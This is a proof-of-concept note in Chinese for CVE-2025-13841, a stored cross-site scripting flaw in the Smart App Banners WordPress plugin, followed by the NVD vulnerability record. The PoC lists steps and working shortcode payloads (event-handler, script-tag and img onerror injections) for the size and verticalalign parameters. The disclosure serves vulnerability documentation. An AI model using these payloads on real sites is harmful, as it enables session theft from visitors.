CVE-2025-13841

WordPress Shortcode XSS PoC: 1. 以Contributor或更高权限登录WordPress后台 2. 创建或编辑任意页面/文章 3. 在内容中添加以下短代码： [app-store-download size=" onmouseover=alert(document.cookie) x=" verticalalign="javascript:alert(document.domain)"] 或使用script标签： [app-store-download size="><script>alert('XSS')</script>" verticalalign="><img src=x onerror=alert(1)>"] 4. 发布或更新页面 5. 当其他用户访问该页面时，恶意JavaScript代码将执行 受影响参数：size, verticalalign 受影响文件：plugins/smart-app-banners/tags/1.2/index.php (line 321)

{"cve": {"id": "CVE-2025-13841", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:50.140", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Smart App Banners plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'size' and 'verticalalign' parameters of the 'app-store-download' shortcode in all versions up to, and including, 1.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin Smart App Banners para WordPress es vulnerable a cross-site scripting almacenado a través de los parámetros 'size' y 'verticalalign' del shortcode 'app-store-download' en todas las versiones hasta la 1.2, inclusive, debido a una sanitización de entrada y un escape de salida insuficientes en atributos proporcionados por el usuario. Esto permite que atacantes autenticados, con acceso de nivel Colaborador o superior, inyecten scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/smart-app-banners/tags/1.2/index.php#L321", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/smart-app-banners/trunk/index.php#L321", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/add85b9b-3a4d-4c46-a90f-10c9645e249d?source=cve", "source": "[email protected]"}]}}